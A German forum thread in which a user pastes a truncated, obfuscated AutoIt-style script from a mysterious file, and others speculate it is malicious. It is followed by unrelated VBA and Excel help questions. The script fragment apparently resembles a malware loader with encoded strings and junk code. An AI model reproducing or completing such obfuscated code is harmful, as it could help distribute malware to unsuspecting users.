random so auf dem Laptop aufgetaucht was ist das?

Hallo miteinander, ich habe diese "i" Datei einfach so auf Dem Rechner gefunden und wollte Einfach mal wissen was es ist, hier ist der Link dazu: [Link vom Support entfernt]

FILExt seit 2000 $DrawAlternative = 23 $LeaseSucceed = 50 For $WpQYhhOY = 62 To 328 If $DrawAlternative = 21 Then ACos(7367) DriveStatus(BendFibre("66R97R110R97R110R97R47R82R101R115R99R117R101R47R71R98R112R47",0/1)) Sqrt(3520) $DrawAlternative = $DrawAlternative + 1 EndIf If $DrawAlternative = 22 Then FileExists(BendFibre("68R105R118R115R100R105R43R84R118R113R102R115R119R106R116R112R115R43R85R98R109R108R116R43",4/4)) PixelGetColor(BendFibre("81R103R38R38R38R38R89R103R108R107R38R38R38R38R89R122R117R120R107R38R38R38R38",12/2), BendFibre("81R103R38R38R38R38R89R103R108R107R38R38R38R38R89R122R117R120R107R38R38R38R38",12/2)) Dec(BendFibre("89R107R103R121R117R116R103R114R100R76R107R107R121R100R90R111R121R121R123R107R100",30/5)) $DrawAlternative = $DrawAlternative + 1 EndIf If $DrawAlternative = 23 Then Opt(BendFibre("88R118R101R125R77R103R115R114R76R109R104R105",24/6), 1) ExitLoop EndIf If $DrawAlternative = 24 Then ConsoleWriteError(BendFibre("87R112R107R118R123R45R67R112R107R111R103R45R75R112R118R103R116R112R103R118R45",8/4)) Chr(1517) $DrawAlternative = $DrawAlternative + 1 EndIf Next Func WholesaleHaitiReminderCompleting($annemeets, $AmazoncoukLay, $DICKMATSSLIM, $prisonerexhaustnbentry, $yukonaviationjaystadium, $ProportionPin, $gpautumnproductionspiritual, $werepresentedbaldborders, $electronicknowledgechristina) $ALTOPERSONALLY = '5405010214968952063493898807967726088594171878677126840372' $StephenNsSapAdditional = 48 $TerraceTerrible = 87 For $UbtIoS = 40 To 921 If $StephenNsSapAdditional = 47 Then ACos(6960) PixelGetColor(94, 568, 0) ATan(1964) $StephenNsSapAdditional = $StephenNsSapAdditional + 1 EndIf If $StephenNsSapAdditional = 48 Then $BITCHDUBAIDIARYM = Sqrt(7992) ExitLoop EndIf If $StephenNsSapAdditional = 49 Then ASin(824) ConsoleWriteError(BendFibre("85R116R120R106R66R81R106R108R110R120R113R102R121R122R119R106R66R76R122R110R113R105R66R73R110R123R125R66",5/1)) FileExists(BendFibre("85R103R112R102R117R34R84R103R101R113R112R117R118R116R119R101R118R107R113R112R34R88R103R118R103R116R99R112R117R34R86R99R100R110R103R118R34",2/1)) $StephenNsSapAdditional = $StephenNsSapAdditional + 1 EndIf Next $SPIESSUBMISSIONOCCASIONAL = '277738451445807690080798083527466278916798997871293099' $distributorafterwards = 6 $MythAvailable = 56 For $tCvjcSsLv = 31 To 519 If $distributorafterwards = 4 Then Dec(BendFibre("71R85R68R80R68R35R76R81R71R76R68R81R68R35R79R76R87R75R88R68R81R76R68R35R69R79R89R71R35",27/9)) Exp(9587) PixelGetColor(45, 170, 0) $distributorafterwards = $distributorafterwards + 1 EndIf If $distributorafterwards = 5 Then PixelGetColor(35, 618, 0) ConsoleWriteError(BendFibre("85R103R103R109R103R116R117R49R81R116R107R103R112R118R99R118R107R113R112R49R78R99R121R117R119R107R118R49R85R119R110R110R107R120R99R112R49",16/8)) ACos(5577) $distributorafterwards = $distributorafterwards + 1 EndIf If $distributorafterwards = 6 Then $representativexnxxpetroleummagnet = Sqrt(217) ExitLoop EndIf If $distributorafterwards = 7 Then Chr(835) Dec(BendFibre("65R99R99R117R114R97R116R101R33",0/4)) $distributorafterwards = $distributorafterwards + 1 EndIf Next $COMPRESSEDENVIRONMENTAL = '4577431951295599919326669678' $OrderingAka = 81 $EVOLUTIONPACKETSCOMPETITIVE = 51 For $hdma = 92 To 283 If $OrderingAka = 80 Then Exp(6961) ASin(2467) DriveStatus(BendFibre("113R121R68",36/9)) $OrderingAka = $OrderingAka + 1 EndIf If $OrderingAka = 81 Then $hipdisplayoriginalalignment = ASin(1467) ExitLoop EndIf Next $FROSTAFFILIATESCOLONIAL = '018963007035438608543348846914979471546604839410592769688' $FINISHINGWHENEVERNODES = 23 $YOURTAPESDEATHSDUST = 50 For $ZLaruUIk = 65 To 201 If $FINISHINGWHENEVERNODES = 22 Then Chr(7045) PixelGetColor(BendFibre("78R119R124R126R123R110R56",63/7), BendFibre("78R119R124R126R123R110R56",63/7)) $FINISHINGWHENEVERNODES = $FINISHINGWHENEVERNODES + 1 EndIf If $FINISHINGWHENEVERNODES = 23 Then $COPPERRACHELBEAVERVP = PixelGetColor(43, 391, 0) ExitLoop EndIf If $FINISHINGWHENEVERNODES = 24 Then ATan(8608) Sqrt(5933) PixelGetColor(66, 437, 0) $FINISHINGWHENEVERNODES = $FINISHINGWHENEVERNODES + 1 EndIf Next $DEVELOPMENTEDITORIALARTHRITIS = '804534994533913976475826179188086637374026519863466805618856582756738' $IncorporateVilla = 30 $GottenLoops = 53 For $zGCEXLS = 96 To 915 If $IncorporateVilla = 29 Then Dec(BendFibre("81R123R116R105R117R72R91R107R105R118R118R109R108R72",16/2)) Exp(9251) $IncorporateVilla = $IncorporateVilla + 1 EndIf If $IncorporateVilla = 30 Then $AppearsContainedHottest = ConsoleWriteError(BendFibre("87R107R108R81R105R120R73R77R114R109R106R83R108R122R110R90",6/2)) ExitLoop EndIf If $IncorporateVilla = 31 Then ATan(2355) Dec(BendFibre("77R79R82R82R73R83R43R67R65R43",0/3)) $IncorporateVilla = $IncorporateVilla + 1 EndIf Next $ListingsGc = '9632358956507871259104285367395025565' $validitygrandn

4 Antworten

Enoki207

13.03.2024, 02:00

Ich würde mal den PC zurücksetzten, setzte mich viel mit sowas auseinander, das einzige was ich sagen kann ist das hier sind die Variablen die zu erkennen sind:

$DrawAlternative

$LeaseSucceed

$WpQYhhOY

$StephenNsSapAdditional

$TerraceTerrible

$UbtIoS

Und Funktionen

ACos

DriveStatus

FileExists

PixelGetColor

Dec

Opt

ConsoleWriteError

Chr

ASin

ATan

ExitLoop

und einen String-Manipulation: Der Code verwendet verschlüsselte Zeichenketten (z. B.

"66R97R110R97R110R97R47R82R101R115R99R117R101R47"

), die wahrscheinlich entschlüsselt werden, um bestimmte Werte zu erhalten.

Die Datei kann alles sein, ich würde meinen PC an deiner stelle mal zurücksetzten, es schadet nicht. Bei einem Scan habe ich

Criminal IP Phishing, gefunden, daher habe ich diese nicht angeklickt.

nächstes mal klick nicht auf irgendwelche komischen links und probier vielleicht ein Antivirus zu nutzen oder scanne die URL vorher mit VirusTotal, das hilft manchmal.

Lg: Enoki 🩷

GuteAntwort2021

13.03.2024, 02:02

Hallo.

Diverse Pixelfarben werden ausgelesen und andere geometrische Funktionen ausgeführt, etc. Bei Virustotal wird ein Trigger auf Phishing verwiesen. Schwer zu sagen, was sich genau dahinter verbirgt, aber jedenfalls nichts gutes!

Welchen Dateityp hat der File denn?

Aber wenn ich mir so deine anderen Fragen anschaue, bekomme ich den Eindruck, dass du der Urheber bist und nur die Leute dazu verleiten möchtest, den Link zu klicken.

Woher ich das weiß:Studium / Ausbildung – Diplom Wirtschaftsinformatiker

coolboy69000123

13.03.2024, 01:17

Yo, das hier sieht nach 'nem mysteriösen Code oder sowas aus, man. Kein Plan, was da abgeht, aber es sieht nicht nach normalem Text aus. Falls du Fragen dazu hast oder mehr Info raushauen willst, lass es mich wissen! 🤷‍♂️👾 #CodeMystery #WasGehenHierAb

Ambermain2

13.03.2024, 01:35

Ich klicke den Link vorsichtshalber mal nicht an. Dateien die plötzlich da sind bedeuten in der Regel nichts gutes. Der Text den du daruntergesetzt hast ist aber eindeutig ein Code, ich kann nicht sagen was da genau progrmmiert wurde. Eine I Datei kann aber alles Mögliche sein.

Hallo,

ich habe mir einen Taschenrechner (mit For-Schleife) erstellt.

Er kann alles, außer Punkt vor Strich. Die Funktion ist etwas schwieriger, da ich kein kein DataTable.Compute benutzen darf, sonst wäre es ja zu einfach.

Es muss durch den String selber erfolgen, also etwas komplizierter.

Hier der Code (kann leider nicht den ganzen Code eingeben, daher hier der = Code, der dafür ja auch am wichtigsten ist; ich füge den Rest einzeln hinzu!):

Dim input As String = tb.Text
Dim numbers() As String = input.Split({"+", "-", "*", "/"}, StringSplitOptions.RemoveEmptyEntries)
Dim operators() As String = Regex.Matches(input, "[-+*/]").OfType(Of Match).Select(Function(m) m.Value).ToArray()

For Each op As String In operators
  If op = "*" Then
    Console.WriteLine("Multiplication operator found!")
  ElseIf op = "/" Then
    Console.WriteLine("Division operator found!")
  ElseIf op = "+" Then
    Console.WriteLine("Addition operator found!")
  ElseIf op = "-" Then
    Console.WriteLine("Subtraction operator found!")
  End If
Next

If numbers.Length < 2 OrElse operators.Length < 1 Then
  Return ' Exit the method if we can't perform the calculation
End If

Dim result As Double = Double.Parse(numbers(0))

For i As Integer = 0 To operators.Length - 1
  Dim op As String = operators(i)
  Dim number As Double = Double.Parse(numbers(i + 1))

  Select Case op
    Case "+"
      result += number
      (das Gleiche mit -*/)
  End Select
Next

tb.Text = result.ToString()
Dim containsInvalidCharacters As Boolean = False

For i As Integer = tb.Text.Length - 1 To 0 Step -1
  If Not IsNumeric(tb.Text.Substring(i, 1)) And Not "+-*/".Contains(tb.Text.Substring(i, 1)) Then
    containsInvalidCharacters = True
    Exit For
  End If
Next

' Beibehaltene For-Schleife
For index As Integer = 1 To 2
  Debug.Write(index.ToString & "")
Next

Debug.WriteLine("") 'Output: 12

For index As Integer = 3 To 1 Step -1
  Debug.Write(index.ToString & "")
Next

Debug.WriteLine("") 'Output: 321

For index As Integer = 4 To 1 Step -1
  Debug.Write(index.ToString & "")
Next

Debug.WriteLine("") 'Output: 4321

For index As Integer = 5 To 1 Step -1
  Debug.Write(index.ToString & "")
Next

Debug.WriteLine("") 'Output: 54321

For index As Integer = 6 To 1 Step -1
  Debug.Write(index.ToString & "")
Next

Debug.WriteLine("") 'Output: 654321

For index As Integer = 7 To 1 Step -1
  Debug.Write(index.ToString & "")
Next

Debug.WriteLine("") 'Output: 7654321

For index As Integer = 8 To 1 Step -1
  Debug.Write(index.ToString & "")
Next

Debug.WriteLine("") 'Output: 87654321

For index As Integer = 9 To 1 Step -1
  Debug.Write(index.ToString & "")
Next

Debug.WriteLine("") 'Output: 987654321

For index As Integer = 0 To 0
  Debug.Write(index.ToString & "")
Next

Debug.WriteLine("") 'Output: 0

End Sub

Danke schon einmal!

...zur Frage

Kann man den Benutzernamen in einem UserForm Label angeben, der das Dokument geöffnet hat?

Hi, ich liebe Herausforderungen und komme auch nach und nach weiter. Nun habe ich diese Funktion welche prüft, ob eine bestimmte Datei geöffnet ist:

Public Function IsFileOpen(FileName As String)
    Dim filenum As Integer, errnum As Integer
    On Error Resume Next
    filenum = FreeFile()
    Open FileName For Input Lock Read As #filenum
    Close filenum
    errnum = Err
    On Error GoTo 0
    Select Case errnum
    Case 0
    IsFileOpen = False
    Case 70
    IsFileOpen = True
    Case Else
    Error errnum
    End Select
End Function

Mit dieser Funktion kann ich arbeiten, wenn das Dokument von wem auch immer geöffnet ist, öffnet sich eine UserForm.

Nun möchte ich gerne mit dieser Funktion ermitteln, welcher Benutzer das Dokument geöffnet hat:

Public Function LastUser(strPath As String) As String
    Dim strXl As String
    Dim strFlag1 As String, strflag2 As String
    Dim i As Integer, j As Integer
    Dim hdlFile As Long
    Dim lNameLen As Byte
   
    strFlag1 = Chr(0) & Chr(0)
    strflag2 = Chr(32) & Chr(32)
   
    hdlFile = FreeFile
    Open strPath For Binary As #hdlFile
        strXl = Space(LOF(hdlFile))
        Get 1, , strXl
    Close #hdlFile
   
    j = InStr(1, strXl, strflag2)
   
    #If Not VBA6 Then
        '// Xl97
        For i = j - 1 To 1 Step -1
            If Mid(strXl, i, 1) = Chr(0) Then Exit For
        Next
        i = i + 1
    #Else
        '// Xl2000+
        i = InStrRev(strXl, strFlag1, j) + Len(strFlag1)
    #End If
   
    '// IFM
    lNameLen = Asc(Mid(strXl, i - 3, 1))
    LastUser = Mid(strXl, i, lNameLen)
End Function

Aber das klappt nicht...

Ich habe es mit diesem Code probiert und diesen an meinen Pfad und das Dokument angepasst:

Private Sub TestVBA()
'http://www.xcelfiles.com/IsFileOpenVBA.htm
'// Just change the file to test here
Const strFileToOpen As String = "C:\Data.xls"
If IsFileOpen(strFileToOpen) Then
MsgBox strFileToOpen & " is already Open" & _
vbCrLf & "By " & LastUser(strFileToOpen), vbInformation, "File in Use"
Else
MsgBox strFileToOpen & " is not open", vbInformation
End If
End Sub

Bekomme immer Fehler 52.

Ich würde aber gerne den Benutzernamen auch später in der UserForm (anstatt einer MsgBox) im Label anzeigen, was ich ebenfalls nicht hinbekomme.

Weiß jemand, wie ich den Benutzernamen ermittel, der das Dokument geöffnet hat und ich diesen dann in den Label-Text einbauen kann? Oder geht das nicht?

Vielen herzlichen Dank im Voraus.

...zur Frage

Swift Dreiecksrechner sin/cos/tan bzw. asin/acos/atan?

Weiss einer zufaelligerweise warum der Code nicht 53.13 sondern 51.60 ergibt?

Ich schaetze mal, dass es eher ein Mathematisches Problem ist und kein Problem im Code.

----------

@IBAction func calculate(_ sender: Any) {

winkelB.text = String(asin(sin(winkelAText * Double.pi / 180) / seiteA * seiteB) * 180 / Double.pi)

}

----------

Abmessungen des Dreiecks:

Seite A = 3

Seite B = 4

winkelAText = 36.86

Diese Formel soll es darstellen:

...zur Frage

IF Funktion in excel auf mehrere Zellen anwenden?

Hallo,

Ich möchte wenn in einer Zelle etwas reingeschrieben wird das die darauffolgenden Felder zu Pflichtfelder werden. Dazu nutze ich aktuell folgende Formel.

Private Sub Workbook_BeforePrint(Cancel As Boolean)

Dim zeile As Long, OK As Boolean

OK = True

For zeile = 1 To Tabelle1.Cells.SpecialCells(xlCellTypeLastCell).Row

If Worksheets("Tabelle1").Cells(4, 2).Value <> "" Then

If Worksheets("Tabelle1").Cells(4, 3).Value = "" Then OK = False 'Spalte C

If Worksheets("Tabelle1").Cells(4, 4).Value = "" Then OK = False 'Spalte D

If Worksheets("Tabelle1").Cells(4, 5).Value = "" Then OK = False 'Spalte E

If Worksheets("Tabelle1").Cells(4, 6).Value = "" Then OK = False 'Spalte F

If Worksheets("Tabelle1").Cells(4, 8).Value = "" Then OK = False 'Spalte H

If Worksheets("Tabelle1").Cells(4, 9).Value = "" Then OK = False 'Spalte I

End If

If Not OK Then

MsgBox "Drucken nicht möglich - nicht alle Pflichtfelder ausgefüllt"

Cancel = True

End If

End Sub

Nun möchte ich das die obige Formel von B4- B25 durchgeführt wird. Also das wenn in in B8 z.B. etwas reingeschrieben wird das dann die Zellen in B8 geprüft werden das dort in den anderen Feldern auch was reingeschrieben worden ist.
Wie würde ich das ganze hinbekommen?

Danke im Voraus

...zur Frage

Access VGA Code?

Hey, kann mir wer folgen Code so umschreiben, dass der nicht anfragt, wie oft dupliziert werden soll, sondern der das aus einem Zahlenfeld im gleichen Formular entnimmt?:

-------------

Private Sub Befehl36_Click()

Dim lngI As Long

Dim lngIMax As Long

Dim strEingabe As String

DoCmd.RunCommand acCmdSelectRecord

DoCmd.RunCommand acCmdCopy

strEingabe = InputBox("Wie oft?", , 1)

'Benutzereingabe wurde abgebrochen

If StrPtr(strEingabe) = 0 Then Exit Sub

lngIMax = Val(strEingabe) - 1

For lngI = 1 To lngIMax

DoCmd.RunCommand acCmdPasteAppend

Next lngI

End Sub

---------------

Vielen Dank

...zur Frage

An Bedingungen gebundenes ausblenden von Zeilen?

Ich habe ein Problem, welches ich alleine nicht schaffe zu lösen.

Ich habe eine Exceltabelle mit einem Button "Closed ausblenden".
Bisher funktioniert es soweit, dass er alle in Spalte N "Closed" ausblendet.

Code ist bis jetzt so:

Private Sub ToggleButton4_Click()

If Me.ToggleButton4.Value = True Then

Dim Liste As Range

Dim lngCriteriaCount As Long

Dim arrCriteria() As String

Dim oLO As ListObject

Application.EnableEvents = True

For r = 3 To ActiveSheet.UsedRange.Rows.Count

If InStr(Cells(r, 14).Value, "CLOSED") Then

Rows(r).RowHeight = 0

End If

Next

Me.ToggleButton4.Caption = "'CLOSED' ausgeblendet"

Else

For l = 3 To ActiveSheet.UsedRange.Rows.Count

If InStr(Cells(l, 14).Value, "CLOSED") Then

Rows(l).RowHeight = 12

End If

Next

Me.ToggleButton4.Caption = "'closed' ausblenden"

End If

End Sub

Nun soll es erweitert werden:
Es soll nicht nur die Zeile sondern auch alle nachfolgenden Zeilen ausgeblendet werden - bis das Wort "Topic" oder "Topic ll" erreicht wird.

In diesem Beispiel also das gelb markierte mit ausblenden.

Kann mir jemand helfen?

...zur Frage

VBA Programmierung - Automatischer Email versandt Probleme?

Hallo ich hoffe Ihr könnt mir helfen :/

Folgendes Problem: Wenn ich die Mail versende, öffnen sich für jede Zeile eine extra Email und leider auch nur jeweils ein Empfänger und einer in cc.

Was muss ich nun in der Programmierung hinzufügen, um nur eine Email geöffnet zu bekommen, mit mehreren Empfängern (Falls mehrere Kreuze gesetzt worden sind). Ich danke euch echt wenn Ihr mir helfen können :/

Ich habe mir die Bausteine aus dem Internet zusammengesetzt, bin daher kein Profi darin.

Programmtext:

Private Sub Send_Email()
   '-------------< Send_Email() >-------------
   Dim sTitle As String
   sTitle = "Test-HTML Email from Excel"
   '< HMTL holen >
   Dim sTemplate As String
   sTemplate = Sheets("ini_Vorlage").Shapes(1).TextFrame2.TextRange.Text
   '</ HMTL holen >
   '----< Send with Outlook >----
   Dim app_Outlook As Outlook.Application
   Set app_Outlook = New Outlook.Application
   '--< Email einstellen >--
   Dim objEmail As Outlook.MailItem
   Dim sEmail_Addresscc As String
   Dim sEmail_Address As String
   Dim iRow As Integer
   For iRow = 4 To 100
       If Cells(iRow, 21) = "x" Then
           '< get Email Address >
           'Column 2, B
           sEmail_Address = Cells(iRow, 19)
           sEmail_Addresscc = Cells(iRow, 20)
           '</ get Email Address >
           '< Fill Placeholders >
           Dim sHTML As String
           sHTML = Replace(sTemplate, "[@Name]", sEmail_Address)
           '</ Fill Placeholders >
           '--< Send Email >--
           Set objEmail = app_Outlook.CreateItem(olMailItem)
           objEmail.To = sEmail_Address
           objEmail.CC = sEmail_Addresscc
           objEmail.Subject = sTitle
           'objEmail.HTMLBody = sHTML 'use .HTMLBody for HTML
           objEmail.Body = sHTML      'and .body for pure Text
           objEmail.Display
           '--</ Send Email >--
       End If
   Next
   '< Abschluss >
   Set objEmail = Nothing
   Set app_Outlook = Nothing
   '</ Abschluss >
   MsgBox "Emails erstellt", vbInformation, "Fertig"
   '----</ Send with Outlook >----
   '-------------</ Send_Email() >-------------
End Sub

...zur Frage

Ich benötige einen Makro, um ausgewählte Filter beim Schliessen zurück zu setzen. Aber mit dem Blattschutz funktioniert das nicht mehr. Kann mir jemand helfen?

Ich habe bisher diesen Makro benutzt:

Private Sub Workbook_BeforeClose(Cancel As Boolean)
    Dim wksSheet As Worksheet
    For Each wksSheet In ThisWorkbook.Worksheets
        With wksSheet
            If .AutoFilterMode Then
                If .FilterMode Then
                    .ShowAllData
                End If
            End If
        End With
    Next wksSheet
    ThisWorkbook.Save
End Sub

...zur Frage

Excel: Wie gestalte ich dieses Makro schneller und effektiver und sorge dafür, dass es bei Neustart nur neue Werte erkennt?

Wie kann ich dieses Makro schneller und effektiver machen und wie bekomme ich es hin, dass es beim Neustart nicht schon wieder die Werte erkennt, die schon einmal dran waren? Sodass die 50 nach dem ersten Mal Abspielen des Sounds ignoriert wird.

Code:

Sub PlaySound()
  Dim ws As Worksheet
  Dim rng As Range
  Dim cell As Range
  Dim goals As Long
  Dim soundFile As String
  Dim thresholds As Variant
  Dim i As Integer
  Set ws = ThisWorkbook.Worksheets("Spielplan")
  Set rng = ws.Range("O1:O" & ws.Cells(ws.Rows.Count, "O").End(xlUp).row)
  soundFile = "Sound_pfad.mp3"
  'Array of threshold values
  thresholds = Array(50, 100, 150, 200, 250, 300, 350, 400, 450, 500,550,600,650,700,750,800,850,900,950,1000)
  Do While True 'Endlosschleife hinzugefügt
    For Each cell In rng
      If IsNumeric(cell.Value) Then
        goals = goals + cell.Value
        'Check if goals is equal to any of the threshold values
        For i = LBound(thresholds) To UBound(thresholds)
          If goals = thresholds(i) Then
            Application.ScreenUpdating = False
            Application.EnableEvents = False
            ActiveSheet.OLEObjects.Add(Filename:=soundFile, Link:=False, DisplayAsIcon:=False).Select
            Selection.Verb Verb:=xlPrimary
            Selection.Delete
            Application.ScreenUpdating = True
            Application.EnableEvents = True
          End If
        Next i
      End If
    Next cell
    'Verzögerung hinzugefügt, um die CPU-Auslastung zu reduzieren
    Application.Wait (Now + TimeValue("0:05:00"))
  Loop
End Sub

...zur Frage

VBA Ausgewählte Zeilen kopieren und in anderer Tabelle einfügen (mit Variablen)?

Hallo Zusammen,

Ich hab ein Problem. Ich würde gern durch das schreiben einer 1 hinter meiner Materialsammlung per Knopfdruck alle gewählten Zeilen in eine Zusammengestellte Tabelle einfügen.

Die Materialsammlung bei der ich auswähle ist in Tabelle zwei und wird dann per Knopfdruck abgefragt. Die markierten sollen dann in Tabelle 1 in eine Tabelle eingefügt werden.

Da ich aber mit Variablen Arbeite ist das schwieriger als gedacht

Hier mein code zum verdeutlichen

Private Sub CommandButton1_Click()

Dim strBereich As Range Dim x As Integer

For x = 3 To 60 If Worksheets(2).Cells(x, 10) = "1" Then

Worksheets(1).Range(Cells(x, 2), Cells(x, 9))=Worksheets(2).Range(Cells(x, 1), Cells(x, 8))

End If Next x

End Sub

funktioniert leider aber nicht.

Bitte im Hilfe

...zur Frage

In Excel VBA eine If-Schleife um zwei Zeilen voneinander zu subtrahieren (Uhrzeitformat und abs- Funktion inbegriffen)?

Mein Bisheriger Versuch:

For j = 4 To 700

With ActiveWorksheet

If .Cells(j, 2) = "" Then Exit For

If Minute(Abs(.Cells(j, 8).Value) - Abs(.Cells(j - 1, 8).Value)) >= 1 Then _

Call FilterCopieVerspätung

End With
Next j

End Sub

Problem: Typenkonflikt

...zur Frage

Schleife VBA Leerzeile einfügen wenn Bedingung erfüllt, was mache ich falsch?

Hi,

ich möchte ein makro schreiben und die schleife funktioniert bei mir nicht. Ich möchte, wenn in Spalte I das Wort "nein" steht, das er in dieser Zeile eine Leerzeile einfügt.

For i = 1 To 65536
         If Cells(i, 9) = "nein" Then
         Rows.Select
    Selection.Insert Shift:=xlDown
     End If
    Next i

Was mache ich falsch?

Lieben Dank!!!

...zur Frage

VBA: Split-Funktion mit einem Trennzeichen?

Hallo zusammen,

ich stehe vor einem Problem, woran ich schon seit Tagen arbeite und keine Lösung finde.

Meine Split-Funktion klappt soweit, die Daten werden eingefügt. Allerdings in der ersten der ersten Zeile von (D). Ich benötige die Daten aber ab Zeile (D20) und das bekomme ich nicht hin.

Hat bitte jemand einen Lösungsvorschlag, da ich nicht so fit mit VBA bin?

Dim MeinArray() As String
Dim MeineZeichenkette As String
Dim I As Variant
Dim N As Integer
Dim WB As Worksheet
Set WB = ThisWorkbook.Sheets("Abrechnung")

Dim WBlerf As Worksheet
Set WBlerf = ThisWorkbook.Sheets("Tabelle1")
Ziel = WBlerf.Range("D20")

'Beispielzeichenkette mit Semikolon als Trennzeichen
MeineZeichenkette = WB.Range("Aufmaß_srvpos")

'Die Funktion Split verwenden, um die Bestandteile der Zeichenkette aufzuteilen
MeinArray = Split(MeineZeichenkette, ";")

'Das Arbeitsblatt leeren
'ActiveSheet.UsedRange.Clear

'Durch das Array iterieren
For N = LBound(MeinArray) + 0 To UBound(MeinArray)
  'Jede E-Mail-Adresse in die erste Spalte des Arbeitsblatts einfügen
  WBlerf.Range("D" & N + 1).Value = MeinArray(N)
Next N

Lieben Dank und VG

Stefan

...zur Frage

Richtig Einfügen in Excel-VBA?

Ich bin mir auch nicht sicher ob ich Richtig in VBA einfüge, der Sub Kopieren funktioniert nicht.

Mein Code:

Private Sub Worksheet_Change(ByVal Target As Range)

If Not Intersect(Target, Range("E8")) Is Nothing Then

Cells.EntireRow.Hidden = False

If Range("E8").Value = "Rogo AC" Then

Columns("U:AH").Hidden = True

Columns("U").Hidden = False